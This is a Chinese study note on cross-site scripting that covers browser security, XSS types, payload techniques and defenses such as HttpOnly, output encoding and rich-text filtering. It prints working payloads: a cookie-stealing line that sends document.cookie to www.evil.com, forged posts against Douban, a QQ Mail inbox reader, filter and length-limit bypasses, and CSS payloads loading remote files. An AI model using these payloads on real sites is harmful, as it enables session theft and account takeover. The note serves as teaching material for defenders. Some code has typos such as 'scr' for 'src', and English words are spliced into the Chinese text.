XSS漏洞學習筆記

 

 

瀏覽器安全

同源策略 
影響源的因素:host,子域名,端口,協議 
a.com經過如下代碼:javascript

<script scr=http://b.com/b.js>php

加載了b.com上的b.js,可是b.js是運行在a.com頁面中的,所以相對於當前打開的頁面(a.com)來講,b.js的源就應該是a.com而非b.com 
不一樣於XMLHttpRequest的是,經過src屬性加載的資源,瀏覽器限制了JavaScript的權限,使其不能讀、寫返回的內容。 
XMLHttpRequest不能跨域訪問資源。可是有跨域請求的需求,所以W3C指定了XMLHttpRequest的跨域訪問標準。它須要經過目標域返回的Http頭來受權是否容許跨域訪問,所以HTTP頭對於JavaScript來講通常是沒法控制的,因此認爲這個方案是可行的。注意:這個跨域訪問方案的安全基礎就是信任「Javascript沒法控制該HTTP頭」,若是此信任基礎被打破,則此方案也就再也不安全。css

瀏覽器沙箱 
每一個單獨的頁面是一個進程。瀏覽器加載的第三方插件如Flash、Java、PDF、.NET Framework都成爲了被攻擊熱點。html

惡意網址攔截 
瀏覽器使用黑名單策略來警告用戶。常見的惡意網址分爲兩類: 
一、掛馬網站,一般包含惡意的Javascript或Flash,經過利用瀏覽器的漏洞,執行shellcode,在電腦中植入木馬 
二、釣魚網站:模仿知名網站的類似頁面前端

高速發展的瀏覽器安全java

跨站腳本攻擊

Cross Site Script,由於和CSS重名,因此更名XSSweb

XSS簡介

一般指黑客經過「HTML注入」纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,因此叫「跨站腳本」。可是發展到今天,因爲Javascript的強大功能以及網站前端應用的複雜化,是否跨域已經再也不重要。可是因爲歷史緣由,這個名字保留了下來。 
假設一個頁面把用戶輸入的參數輸出到頁面上:ajax

1 <?php
2 $input=$_GET["param"];
3 echo "<div>".$input."</div>";
4 ?>

若是提交一段HTML代碼:chrome

http://www.a.com/test.php?param=alert(/xss/)shell

會發現alert(/xss/)被執行了。 
XSS分爲如下幾類: 
1)反射型XSS: 就如上面的例子,也就是黑客須要誘使用戶點擊連接。也叫做」非持久型XSS「(Non-persistent XSS) 
2)存儲型XSS:把用戶輸入的數據」存儲「在服務器端。這種XSS具備很強的穩定性。 
比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表後,全部訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript代碼。黑客把惡意的腳本保存在服務器端,因此中XSS攻擊就叫作」存儲型XSS」。 
3)DOM based XSS:也是一種反射型XSS,因爲歷史緣由被單獨列出來了。經過修改頁面的DOM節點造成的XSS,稱之爲DOM Based XSS。

看以下代碼:

1 <script>
2 function test(){
3 var str=document.getElementById("text").value;
4 document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
5 }
6 </script>
7 <div id="t"></div>
8 <input type="text" id="text" value="" />
9 <input type="button" id="s" value="write" onlick="test()" />
 

這段代碼的做用就是點擊write按鈕後在當前頁面插入一個連接。 
構造以下數據:

’ onclick=alert(/xss/) //

輸入後,頁面代碼就成了

testLink

首先用一個單引號閉合掉href的第一個單引號,而後插入一個onclick事件,最後再用註釋符//註釋掉第二個單引號。 
實際上,這裏還有另一種利用方式—除了構造一個新事件外,還能夠選擇閉合掉<a>標籤,並插入一個新的HTML標籤。嘗試以下輸入:

'><img scr=# onerror=alert(/xss2/) /><'

頁面代碼編程

<a href='http://cracer.com/blog/'><img scr=# onerror=alert(/xss2/) /><''>testLink</a>.

XSS攻擊進階

初探XSS Payload 
XSS Payload就是JavaScript腳本(還能夠是Flash或其餘富客戶端的腳本),因此任何Javascript腳本能作到的事情,XSS Payload都能作到。 
一個最多見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起」Cookie劫持」攻擊。 
Cookie中通常加密保存了當前用戶的登陸憑證。Cookie若是丟失,每每意味着用戶的登陸憑證丟失。換句話說,攻擊者能夠不用經過密碼,而直接登陸進用戶的帳戶。 
以下所示,攻擊者先加載一個遠程腳本: 
http://www.a.com/test.htm?abc=「><script scr=http://www.evil.com/evil.js ></script> 
真正的XSS Payload如今這個遠程腳本中,避免直接在URL的參數裏寫入大量的JavaScript代碼。 
在evil.js中,能夠經過以下代碼竊取Cookie:

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象做爲參數發送到遠程服務器。 
事實上,http://www.evil.com/log 並不必定要存在,由於這個請求會在遠程服務器的Web日誌中留下記錄 。 
這樣就完成了一個最簡單的竊取Cookie的XSS Payload。 
黑客能夠用這個Cookie直接登陸。 
防止:Cookie的「HttpOnly」標識能夠防止」Cookie劫持」,咱們將在稍後的章節中在具體介紹。

強大的XSS Payload 
構造Get與Post請求:例如在Sohu上有一篇文章, 想經過XSS刪除它,該如何作呢? 
假設Sohu博客所在域的某頁面存在XSS漏洞,那麼經過JavaScript,這個過程以下: 
正常刪除該文章的連接是:http://blog.sohu.com/manage/entry.do?m=delete&id=156713012 
對於攻擊者來講,只須要直到文章的id,就可以經過這個請求刪除這篇文章了。 
攻擊者能夠經過插入一張圖片來發起一個get請求:

var img=document.createElement("img");
img.scr="http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻擊者只須要讓博客的做者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將經過XSS誘使用戶執行XSS Payload。 
再看一個複雜點的例子。若是網站應用者接受POST請求,那麼攻擊者如何實施XSS攻擊呢? 
下例是Douban的一處表單。攻擊者將經過Javascript發出一個post請求,提交此表單,最終發出一條新的消息。

 1 var f=document.createElement("form");
 2 f.action="";
 3 f.method="post";
 4 document.body.appendChild(f);
 5 var i1=document.createElement("input");
 6 i1.name=" ck";
 7 i1.value=" JiuY";
 8 f.appendChild(i1);
 9 var i2=document.createElement("input");
10 i2.name=" mb_text";
11 i2.value="testtestseset";
12 f.appendChild(i2);
13 f.submit();

若是表單參數不少的話,經過構造DOM的方式,代碼將會很冗長。因此能夠直接寫HTML代碼:

var dd=document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML='<form action="" method="post" id="xssform" name="mbform">'+
'<input type="hidden" name="ck" value="JiuY" />'+
'<input type="hidden" name="mb_text" value="testetst" />' +
'</form>'
document.getElementById("xssform").submit();

第二種方法是,經過XMLHttpRequest發送一個POST請求:

 1 var url = "http://www.douban.com";
 2 var postStr = "ck=JiuY&mb_text=test1234";
 3 var ajax = null;
 4 if (window.XMLHttpRequest) {
 5     ajax = new XMLHttpRequest();
 6 } else if (window.ActiveXObject) {
 7     ajax = new ActiveXObject("Microsoft.XMLHTTP");
 8 } else {
 9     return;
10 }
11 ajax.open("POST", url, true);
12 ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
13 ajax.send(postStr);
14 ajax.onreadystatechange = function() {
15     if (ajax.readyState == 4 && ajax.status == 200) {
16         alert("Done");
17     }
18 }

 

經過這個例子能夠看出,使用Javascript模擬提交表單並非一件困難的事情.

下面的例子將演示如何經過XSS Payload讀取QMail用戶的郵件文件夾: 
首先看看正常的請求是如何獲取到全部的郵件列表的。登陸郵箱後,點擊「收件箱」後。抓包發現瀏覽器發出了以下請求: 
http://m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1 
通過分析,真正能訪問到郵件列表的連接是: 
http://m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx… 
這裏有一個沒法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密後的值。 
因此XSS Payload的思路是先獲取到sid的值,而後構造完整的URL,並使用XMLHttpRequest請求到此URL,應該就能獲得郵件列表了。XSS Payload以下:

 1 if (top.window.location.href.indexOf("sid=") > 0) {
 2     var sid = top.window..location.href.substr(top.window.location.href.indexOf("sid=") + 4, 24);
 3 }
 4 var folder_url = "http://" + top.window.location.host + "/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=" + sid;
 5 var ajax = null;
 6 if (window.XMLHttpRequest) {
 7     ajax = new XMLHttpRequest();
 8 } else if (window.ActiveXObject) {
 9     ajax = new ActiveXObject("Microsoft.XMLHTTP");
10 } else {
11     return;
12 }
13 ajax.open("GET", folder_url, true);
14 ajax.send(null);
15 ajax.onreadystatechange = function() {
16     if (ajax.readyState == 4 && ajax.status == 200) {
17         alert(ajax.responseText);
18         //document.write(ajax.responseText);
19     }
20 }

郵件列表的內容成功被XSS Payload獲取到。

釣魚: 
XSS並不是萬能。前面的例子都是Javascript腳本,缺乏」與用戶的交互」,碰到驗證碼,和修改密碼時須要輸入舊密碼,XSS Payload就會失效。 
對於驗證碼,XSS Payload能夠讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施–攻擊者能夠在遠程XSS後臺接收當前驗證碼,並將驗證碼的值返回給當前的XSS Payload 
從而繞過驗證碼。 
修改密碼的問題比較複雜,爲了竊取密碼,攻擊者能夠將XSS與」釣魚」結合。 
實現思路很簡單:利用Javascript在當前頁面上」畫出」一個僞造的登陸框,當用戶在登陸框中輸入用戶名和密碼後,其密碼將被髮送到黑客的服務器上。

識別用戶瀏覽器: 
navigator.userAgent 
可是userAgent是能夠僞造的。這個信息不必定準確。 
因爲瀏覽器之間的實現存在差別,利用這種差別分辨瀏覽器幾乎不會錯誤。 
參考:

 1 if (window.ActiveObject) {
 2     //MSIE 6.0 or below
 3     //判斷是否IE 7以上
 4     if (document.documentElement && typeof document.documentElement.style.maxHeight != "undefined") {
 5         if (typeof document.adoptNode != "undefined") { //Safari 3 & FF & Opera & Chrome & IE8
 6             //MSIE 8.0
 7         }
 8         //MSIE 7.0
 9     }
10     return "msie"; //MSIE6.0
11 } else if {
12     typeof window.opera != "undefined") { //Opera獨佔
13         return "opera";
14     } else if (typeof window.netscape != "undefined") { //Mozilla獨佔
15         if (typeof window.Iterator != "undefined") {
16             //Firefox 2.0以上支持這個對象
17             if (typeof document.styleSheetSets != "undefined") { //FireFox 3 & Opera 9
18                 //Firefox 3
19             }
20             //Firefox 2.0
21         }
22         return "mozilla";
23     } else if (typeof window.pageXOffset != "undefined") { //Mozilla & Safari
24         try {
25             if (typeof external.AddSearchProvider != "undefined") { //Firefox & Google Chrome
26                 return "Chrome";
27             }
28         } catch(e) {
29             return "safari";
30         }
31     } else { //unknown
32         return "unknown";
33     }

識別用戶安裝的軟件: 
在IE中,能夠經過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用於「掛馬攻擊」–黑客經過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到 
入木馬的目的。 
看以下代碼:

try {
  var Obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
} catch (e){
  //異常了,不存在該控件
}

經過收集常見軟件的classid,就能夠掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。 
一些第三方軟件也可能會泄漏一些信息。好比Flash有一個system.capabilities對象,可以查詢客戶端電腦中的硬件信息。 
在XSS Payload中,能夠在Flash的ActionScript中讀取system.capabilities對象後,將結果經過ExternalInterface傳給頁面的javascript。 
瀏覽器的擴展和插件也能被XSS Payload掃描出來。好比對於Firefox的插件和擴展,有着不一樣的檢測方法。 
Firefox的插件(Plugins)列表存放在一個DOM對象中,經過查詢DOM能夠遍歷出全部的插件: 
因此直接查詢」navigator.plugins」對象,就能找到全部的插件了。例如 navigator.plugins[0] 
而Chrome的擴展(Extension)要複雜一些。有安全研究者想出了一個方法:經過檢測擴展的圖標,來判斷某個特定的擴展是否存在。 
在Chrome中有一個特殊的協議: chrome:// ,Chrome的擴展圖標能夠經過這個協議被訪問到。好比Flash Got擴展的圖標,能夠這樣訪問: 
chrome://flashgot/skin/icon32.png 
掃描Chrome擴展時,只需在Javascript中加載這張圖片,若是加載成功,則擴展存在;反之,擴展就不存在

1 var m = new Image();
2 m.onload = function() {
3     alert(1); //圖片存在
4 };
5 m.onerror = function() {
6     alert(2); //圖片不存在
7 };
8 m.src = "chrome://flashgot/skin/icon32.png"; //鏈接圖片

CSS History Hack: 
咱們再看看另一個有趣的XSS Payload—經過CSS,來發現一個用戶曾經訪問過的網站。 
原理是利用style的visited桑性—若是用戶曾經訪問過某個連接,那麼這個連接的顏色會變的不同凡響。

 1 < script >
 2 var websites = [...要檢測的訪問過的網址列表,可能有幾千個...];
 3 //遍歷每一個URL
 4 for (var i = 0; i < websites.length: i++) {
 5     var link = document.createElement("a");
 6     link.id = "id" + i;
 7     link.href = websites[i];
 8     link.innerHTML = websites[i];
 9     document.write('<style>');
10     document.write('#id' + i + ":visited {color:#FF0000;}");
11     document.write('</style>');
12     document.body.appendChild(link);
13     var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");
14     document.body.removeChild(link);
15     if (color == "rgb(255,0,0)") { //visited
16         var item = document.createElement('li');
17         item.appendChild(link);
18         document.getElementById('visited').appendChild(item);
19     } else { //Not visited
20         var item = document.createElement('li');
21         item.appendChild(link);
22         document.getElementById('notvisited').appendChild(item);
23     }
24 } < /script>/

可是Firefox已經決定修補這個問題

獲取用戶的真實IP地址: 
不少時候,用戶電腦的IP地址隱藏在代理服務器或NAT的後面。 
javascript自己並無獲取本地IP地址的能力。通常須要第三方軟件來完成。好比,客戶端安裝了Java環境(JRE),那麼XSS就能夠經過調用Java Applet的接口獲取客戶端的本地IP地址。 
在XSS攻擊框架」Attack API」中,就有一個獲取本地IP地址的API:

1 AttackAPI.dom.getInternalIP = function() {
2     try {
3         var sock = new java.net.Socket();
4         sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));
5         sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port) ? 80 : document.location.port));
6         return sock.getLocalAddress().getHostAddress();
7     } catch(e) {}
8     return '127.0.0.1';
9 };
此外,還有兩個利用Java獲取本地網絡信息的API

XSS攻擊平臺:

XSS Payload如此強大,爲了使用方便,有安全研究者將許多功能封裝起來,成爲XSS攻擊平臺。這些攻擊平臺的主要目的是爲了演示XSS的危害,以及方便滲透測試使用。 
Attack API: Attack API是安全研究者pdp所主導的一個項目,他總結了不少可以直接使用的XSS Payload,概括爲API的方式。 
BeFF:曾經是最好的XSS演示平臺。其所演示的是一個完整的XSS攻擊過程。 
XSS-Proxy:是一個輕量級的XSS攻擊平臺,經過嵌套iFrame的方式能夠實時地遠程控制被XS攻擊的瀏覽器。 
這些XSS攻擊平臺有助於深刻理解XSS的原理和危害。

終極武器:XSS Worm

Samy Worm: 
2005年,年僅19歲的Samy Kamkar發起了對MySpace.com的XSS Worm攻擊。 
MySpace過濾了不少危險的HTML標籤,只保留了<a>標籤、<img>標籤、<div>標籤等」安全的標籤」.並過濾了全部的事件,例如」onclick」。可是MySpace卻容許用戶控制標籤的Style屬性,通 
style,仍是有辦法構造出XSS的。好比:

<div style="background:url('javascript:alert(1)')">

其次,MySpace同時還過濾了」javascript」、」onreadystatechange」等敏感詞,因此Samy用了「拆分法」繞過這些限制。 
最後Samy經過Ajax構造的Post請求,完成了在用戶的heros列表裏添加本身名字的功能;同事複製蠕蟲自身進行傳播。至此,XSS Worm就完成了。 
具體代碼太長。。。 
可是發起XSS Worm攻擊是有必定的條件的: 
通常來講,用戶之間發生交互行爲的頁面,若是存在存儲性XSS,則比較容易發起XSS Worm攻擊。 
好比發送站內信、用戶留言等頁面,都是XSS Worm的高發區,須要重點關注。而相對的,若是一個頁面只能由用戶我的查看,好比」用戶我的資料設置」頁面,由於缺少用戶之間互動的功能 
因此即便存在XSS,也不能被用於XSS Worm的傳播。

百度空間蠕蟲: 
調試Javascript: 
要想寫好XSS Payload,須要有很好的Javascript功底,調試javascript是必不可少的技能。 
Firebug …

XSS構造技巧

利用字符編碼: 
「百度搜藏」曾經出現過一個這樣的XSS漏洞。百度在一個<script>標籤中輸出了一個變量,其中轉義了雙引號: 
var redirectUrl="\";alert(/xss/);"; 
通常來講,這裏是沒有XSS漏洞的,由於變量處於雙引號以內,系統轉義了雙引號致使變量沒法escape。 
可是百度的返回頁面是GBK/GB2312編碼的,所以」%c1\」這兩個字符組合在一塊兒後,會成爲一個Unicode字符。在Firefox下會認爲這是一個字符,因此構造: 
%c1";alert(/xss/);// 
並提交: 
var rediretUrl="?";alert(2);//"; 
這兩個字節:"%c1\"組成了一個新的Unicode字符,%c1把轉義符"\"給」吃掉了」,從而繞過了系統的安全檢查,成功地實施了XSS攻擊。

繞過長度限制: 
不少時候,產生XSS的地方會有變量的長度限制,這個限制多是服務器端邏輯形成的。 
假設下面代碼存在一個XSS漏洞: 
<input type=text value="$var" /> 
服務器端對輸出變量$var作了嚴格的長度限制,那麼攻擊者可能會這樣構造XSS: 
$var爲 "><script>alert(/xss/)</script> 
但願達到的輸出效果是: 
<input type=text value=""><script>alert(/xss/)</script>" /> 
假設長度限制爲20個字節,則這段XSS會被切割爲: 
$var輸出爲: "><script>alert(/xss 
連一個完整的函數都沒法寫完。 
攻擊者能夠利用時間(Event)來縮短所須要的字節數: 
$var輸出爲"onclick=alert(1)// 
加上空格符,恰好夠20個字節 
但利用「事件」可以縮短的字節數是有限的。最好的辦法是先把XSS Payload寫在別處,再經過簡短的代碼加載這段XSS Payload。 
最經常使用的一個「藏代碼」的地方,就是「location.hash」。並且根據HTTP協議,location.hash的內容不會在HTTP包中發送,因此服務器端的Web日誌中並不會記錄下location.hash裏的內容,從而 
更好地隱藏了黑客真實的意圖。 
$var輸出爲onclick="eval(location.hash.substr(1))" 
總共40個字節。輸出後的HTML是: 
<input type=text value="" onclick="eval(location.hash.substr(1)) " /> 
由於location.hash的第一個字符是#,因此必須去除第一個字符才行。此時構造出的XSS URL爲: 
http://www.a.com/test.html#alert(1) 
用戶點擊文本框時,location.hash裏的代碼就執行了. 
location.hash自己沒有長度限制,可是瀏覽器的地址欄是有長度限制的,不過這個長度已經足夠寫很長的XSS Payload了。要是地址欄的長度也不夠用,還能夠再使用加載遠程JS的方法,來 
更多的代碼。 
在某些環境下,能夠利用註釋符繞過長度限制。 
好比咱們能控制兩個文本框,第二個文本框容許寫入更多的字節。此時能夠利用HTML的」註釋符號「,把兩個文本框之間的HTML代碼全註釋掉,從而」打通「兩個<input>標籤。

<input id=1 type="text" value="" />
xxxxx
<input id=2 type="text" value="" />

在第一個input框中,輸入:"><!-- 
在第二個input框中,輸入:--><script>alert(/xss/);</script>

最終的效果是:

<input id=1 type="text" value=""><!-- />
xxxxx
<input id=2 type="text" value="--><script>alert(/xss/);</script>" />

中間的代碼前部被<!-- -->註釋掉了。

使用<base>標籤: 
<base>標籤是定義全部使用」相對路徑」標籤的hosting地址 
例如:

<body>
<base href="http://www/google.com" />
<img scr="/int1/...png" />
</body>

須要注意的是<base>標籤能夠出如今頁面的任何地方,並做用於該標籤以後的全部標籤。 
攻擊者若是在頁面中插入了<base>標籤,就能夠經過在遠程服務器上僞造圖片、連接或腳本,劫持當前頁面中的全部使用」相對路徑「的標籤。好比:

<base href="http://www.evil.com" />
...
<script src="http://cracer.com/blog/x.js">
...
<img scr="y.jpg" />
...
<a href="http://cracer.com/blog/auth.do"> auth</a>

因此在設計XSS安全方案時,必定要過濾掉這個很是危險的標籤。

window.name的妙用: 
window.name對象是一個很神奇的東西,對當前的window.name對象賦值,沒有特殊字符的限制。由於window對象是瀏覽器的窗體,而並不是document對象,所以不少時候window對象不受同 
策略的限制。攻擊者利用這個對象,能夠實現跨域、跨頁面傳遞數據。在某些環境下,這種特性將變得很是有用。 
參考如下案例: 
www.a.com/test.html的代碼爲:

<body>
<script>
window.name="test";
alert(document.domain+" "+window.name);
window.location="http://www.b.com/test1.html";
</script>
</body>

這段代碼將window.name賦值爲test,而後顯示當前域和window.name的值,最後頁面跳轉到www.b.com/test1.html。 
www.b.com/test1.html的代碼爲:

<body>
<script>
alert(document.domain+" "+window.name);
</script>
</body>

這個過程實現了數據的跨域傳遞:」test」這個值從www.a.com傳遞到www.b.com 
使用window.name能夠縮短XSS Payload的長度,以下所示:

<script>
window.name="alert(document.cookie)";
location.href="http://www.xssedsite.com/xssed.php";
</script>

在統一窗口打開XSS的站點後,只需經過XSS執行如下代碼便可: 
eval(name); 
只有11個字節,短到了極點。 
這個技巧爲安全研究者luoluo發現,同時他還整理了不少繞過XSS長度限制的技巧。

變廢爲寶:Mission Impossible 
從XSS漏洞利用的角度來看,存儲型XSS對攻擊者的用處比反射型XSS要大。而有的XSS漏洞被認爲只可以攻擊本身,屬於」雞肋」漏洞。但隨着時間的推移,數個曾經被認爲是沒法利用的 
洞,都被人找到了利用方法: 
a)Apache Expect Header XSS: 
b)Anehta的迴旋鏢:

容易被忽視的角落:Flash XSS 
前面降到的XSS攻擊都是基於HTML的,其實在Flash中一樣也有可能形成XSS攻擊。 
在Flash中是能夠嵌入ActionScript腳本的。一個最多見的Flash XSS能夠這樣寫: 
getURL(「javascript:alert(document.cookie)」) 
ActionScript是一種很是強大和靈活的腳本,甚至可使用它來發起網絡鏈接,所以應該儘量地阻止用戶可以上傳和加載自定義的Flash文件。 
因爲Flash文件如此危險,因此在實現XSS Filter時,通常都會禁用、等標籤。後者甚至能夠加載ActiveX控件,產生更爲嚴重的後果。 
嵌入FLash的腳本重要的參數有allowScriptAccess(推薦值never)、allowNetworking(建議值none或者internal)。 
Flash XSS每每被忽視,由於其問題出如今編譯後的Flash文件中。

 

真的高枕無憂嗎?Javascript開發框架 
jQuery自己出現的漏洞較少,可是開發者的意識才是安全編碼的關鍵。 
例如$(‘div.demo-container’).html(「」); 
若是用戶可控制輸入,那麼XSS產生是必然的。

XSS的防護

HttpOnly

瀏覽器將禁止頁面的Javascript訪問帶有HttpOnly屬性的Cookie。是爲了解決劫持Cookie攻擊。由於Javascript獲取不到Cookie的值。 
C#中設置HttpOnly的方法: 
HttpCookie myCookie=new HttpCookie(「myCookie」); 
myCookie.HttpOnly=true; 
Response.AppendCookie(myCookie);

輸入檢查

常見的Web漏洞如XSS、SQL諸如等,都要求攻擊者構造一些特殊字符,這些特殊字符多是正經常使用戶不會用到的,因此輸入檢查就有存在的必要了。 
例如,用戶名可能會被要求只能爲字母、數字的組合。 
輸入檢查的邏輯應該放在服務器端,不然很容易被繞過。目前的廣泛作法是在客戶端和服務器端都執行檢查。 
在XSS的防護上,輸入檢查通常是檢查用戶輸入的數據中是否包含一些特殊字符,如< > ’ 「等。若是發現,則將這些字符過濾掉或編碼。 
比較智能的還會檢查<script> javascript等敏感字符,網上有不少XSS Filter資源。但由於XSS Filter對語境不瞭解,有時不能檢查出XSS攻擊。

輸出檢查

通常來講,除了富文本的輸出外,在變量輸出到HTML頁面時,可使用編碼或者轉移的方式來防護XSS攻擊。

安全的編碼函數: 
針對HTML代碼的編碼方式是HtmlEncode。 
HtmlEncode並不是專用名詞,它只是一種函數體現。它的做用是將字符轉換成HTMLEntities,對應的標準是ISO-8859-1。 
對了對抗XSS,在HtmlEncode中至少要轉換如下字符: 
& => &amp; < =>&lt; > " ' / 
相應地,Javascript的編碼方式可使用JavascriptEncode。 
JavascriptEncode與HtmlEncode的編碼方法不一樣,他須要使用\對特殊字符進行轉義。在對抗CSS時,還要求輸出的變量必須在引號內部,以免形成安全問題。比較下面兩種寫法: 
var x=escapeJavascript($evil); 
var y='"'+escapeJavascript($evil)+'"'; 
若是escapeJavascript函數只轉義了幾個危險字符,好比’ 」 < > \ & #等,那麼上面的兩行代碼輸出後可能變成: 
var x=1;alert(2); 
var y="1;alert(2)"; 
因此要求使用JavascriptEncode的變量輸出必定要在引號內。 
可視不少開發者沒有這個習慣怎麼辦?這將只能使用一個更加嚴格的JavascriptEncode函數–除了數字、字母外的全部字符,都使用十六進制」\xHH」的方式進行編碼。在本例中: 
var x=1;alert(2); 
變成了: 
var x=1\x3balert\x282\x29; 
如此代碼能夠保證是安全的。

只需一種編碼嗎? 
XSS攻擊主要發生在MVC架構中的View層。大部分的XSS漏洞能夠在模版系統中解決。 
不是使用了auto-escape就萬事大吉了,XSS的防護須要區分狀況對待。

正確地防護XSS

XSS的本質仍是一種」HTML注入」。 
想要根治XSS,能夠列出全部XSS可能發生的場景,在一一解決。

在HTML標籤中輸出:如

<div>$var</div>
<a href=# >$var</a>

這樣能夠構造出:

<div><script>alert(/xss/)</script></div>
<a href=#><img scr=# onerror=alert(1) /></a>

防護方法是對變量使用HtmlEncode。

在HTML屬性中輸出:如

<div id="abc" name="$var" ></div>

能夠構造出:

<div id="abc" name=""><script>alert(/xss/)</script><"" ></div>

防護方法也是HtmlEncode。在OWASP ESAPI中推薦了一種更嚴格的HtmlEncode–除了字母、數字外,其餘全部的字符都被編碼成HTMLEntities。 
String sfa=ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input")]; 
這種嚴格的編碼方式,能夠保證不會出現任何安全問題。

在<script>標籤中輸出:如

<script>
var x="$var";
</script>

能夠構造出:

<script>
var x="";alert(/xss/);//";
</script>

防護時也是使用JavascriptEncode

在事件中輸出:如 
<a href=# onclick="funcA('$var')" >test</a> 
能夠構造出: 
<a href=# onclick="funcA('');alert(/xss/);//')" >test</a> 
在防護時須要使用JavascriptEncode

在CSS中輸出: 
在CSS和style、style attribute中造成的XSS的方式很是多樣化,參考下面幾個XSS的例子。

<STYLE>@import 'http://ha.ckers.org/xss.css';
<STYLE>BODY {-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}
<XSS STYLE="behavior:url(xss.htc);">
<STYLE>li {list-style-image:url("javascript:alert('XSS')");} </STYLE><UIL><LI>XSS
<DIV STYLE="background-image:url(javascript:alert('XSS'))">
<DIV STYLE="width:expression(alert('XSS'));">

因此通常來講,儘量地禁止用戶可控制的變量在」<style>標籤」、」HTML標籤的style屬性」以及」CSS文件」中輸出。若是必定有這樣的需求,推薦使用OWASP ESAPI中的encodeForCSS() 
數。相似於ESAPI.encoder().encodeForJavaScript()函數。

在地址中輸出: 
在地址中輸出也較爲複雜。通常來講,在URL的path(路徑)或者search(參數)中輸出,使用URLEncode便可。 
例如: 
<a href="http://www.evil.com/?test=$var" >test</a> 
可能的攻擊辦法: 
<a href="http://www.evil.com/?test=" onclick=alert(1)"" >test</a> 
通過URLEncode後就能夠防護。 
可是還有一種狀況,就是整個URL都可以被用戶徹底控制。這時URL的協議和Host部分是不可以使用URLEncode的,不然會改變URL的語義。 
一個URL的組成以下: 
[Protocol][host][Path][search][Hash] 
如 
http://www.evil.com/a/b/c/test?abc=123#ssss 
protocol="http://" 
host=www.evil.com 
search="?abc=123" 
hash=#ssss 
在Protocol和host中,若是使用嚴格的URLEncode函數,則會把」://「、」.「等都編碼掉。 
對於以下的輸出方式: 
<a href="http://cracer.com/blog/$var" >test</a> 
攻擊者可能會構造: 
<a href="javascript:alert(1);">test</a> 
除了「JavaScript做爲僞協議能夠執行代碼外,還有VBScript、dataURI等僞協議可能致使腳本執行。 
因而可知,若是用戶可以徹底控制URL,則能夠執行腳本的方式有不少,如何解決這種狀況呢? 
通常來講,若是變量是整個URl,則應該首先檢查變量是不是以Http開頭,若是不是則自動添加,以保證不會出現僞協議類的XSS攻擊。 
在此以後再對變量進行URLEncode,便可保證不會有此類的XSS發生了。 
OWASP ESAPI中有一個URLEncode的實現: 
ESAPI.encoder().encodeForURL

處理富文本

有些時候,網站須要容許用戶提交一些自定義的HTML代碼,稱之爲」富文本」。好比,一個用戶在論壇裏發帖,帖子裏的內容裏要有圖片、視頻、表格等,這些「富文本」的效果都須要經過HTM 
代碼來實現。 
如何區分安全的「富文本」和有攻擊性的XSS呢? 
在處理富文本時,仍是要回到」輸入檢查」的思路上來。」輸入檢查「的主要功能是,在檢查時還不知道變量的輸出語境。但用戶提交的」富文本「數據,其語義是完整的HTML代碼,在輸出時也不 
拼湊到某個標籤的屬性中。所以能夠特殊狀況特殊處理。 
在上一節中,列出了全部在HTML中可能執行腳本的地方。而一個優秀的」XSS Filter「,也應該可以找出HTML代碼中全部可能執行腳本的地方。 
HTML是一種結構化的語言,比較好分析。經過htmlparser能夠解析出HTML代碼的標籤、標籤屬性和事件。 
在過濾富文本時,」事件「應該被嚴格禁止,由於」富文本「的展現需求裏不該該包括」事件「這種動態效果。而一些危險的標籤,好比<iframe>、<script>、<base>、<form>等,也是應該嚴格禁 
的。 
在標籤的選擇上,應該使用白名單,避免使用黑名單。好比,只容許<a>、<img>、<div>等比較」安全「的標籤存在。 
」白名單「原則不只僅用於標籤的選擇,一樣應該用於屬性與事件的選擇。 
在富文本過濾中,處理CSS也是一件麻煩的事情。若是容許用戶自定義的CSS、style,則也可能致使XSS攻擊。所以儘量地禁止用戶自定義CSS與Style。 
若是必定要容許用戶自定義樣式,則只能像過濾」富文本「同樣過濾」CSS「。這須要一個CSS Parser對樣式進行智能分析,檢查其中是否包含危險代碼。 
有一些比較成熟的開源項目,實現了對富文本的XSS檢查。 
Anti-Samy是OWASP上的一個開源項目,也是目前最好的XSS Filter。最先它是基於Java的,如今已經擴展到.NET等語言。

防護DOM Based XSS

DOM Based XSS是一種比較特別的XSS漏洞,前文提到的幾種防護方法都不太適用,須要特別對待。 
DOM Based XSS是如何造成的呢?回頭看看這個例子:

<script>
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>";
}
</script>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" oncick="test()" />

在button的onclick事件中,執行了test()函數,而該函數中最關鍵的一句是: 
document.getElementById("t").innerHTML="<a href='http://cracer.com/blog/"+str+"' >testLink</a>"; 
將HTML代碼寫入了DOM節點,最後致使了XSS的發生。 
